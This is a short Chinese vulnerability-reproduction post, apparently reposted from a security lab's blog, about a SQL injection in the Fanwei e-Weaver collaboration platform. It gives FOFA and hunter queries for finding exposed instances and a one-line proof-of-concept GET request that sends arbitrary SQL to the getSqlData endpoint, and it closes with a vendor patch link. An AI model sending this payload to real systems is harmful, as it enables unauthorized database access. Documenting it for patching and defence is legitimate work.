【漏洞复现】泛微e-Weaver SQL注入
2023-11-9 10:2:15 Author: 天擎攻防实验室(查看原文) 阅读量:18 收藏

0x01 阅读须知

天擎攻防实验室的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！

0x02 漏洞描述

（一） 泛微e-Weaver

泛微e-Weaver（FANWEI e-Weaver）是一款广泛应用于企业数字化转型领域的集成协同管理平台。作为中国知名的企业级软件解决方案提供商，泛微软件（广州）股份有限公司开发和推广了e-Weaver平台。
泛微e-Weaver旨在帮助企业实现信息化管理、业务协同和数字化转型。该平台提供了一系列的功能模块，包括企业门户、流程管理、文档管理、知识管理、协同办公、人力资源管理、客户关系管理等。这些模块可以根据企业的实际需求进行定制和配置，以满足不同行业和组织的特定需求。

FOFA语法：

app="泛微-E-Weaver"

hunter语法：

app.name="泛微 e-Weaver"
    hunter共111,780条资产


（二） 漏洞复现
GET /Api/portal/elementEcodeAddon/getSqlData?sql=select%20@@version HTTP/1.1Host: 

更多漏洞POC发布在知识星球

0x03 修复方案

官方修复缓解措施

补丁链接

https://www.weaver.com.cn/cs/securityDownload.html#


文章来源: http://mp.weixin.qq.com/s?__biz=MzU2MzQyMjA1NA==&mid=2247484250&idx=1&sn=b7184b05e59315d75d5322638a5f2537&chksm=fc5b3553cb2cbc458579b80d6afd22113e63d3352e7ab19be92161d633fd1dc993009ae2c34b&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh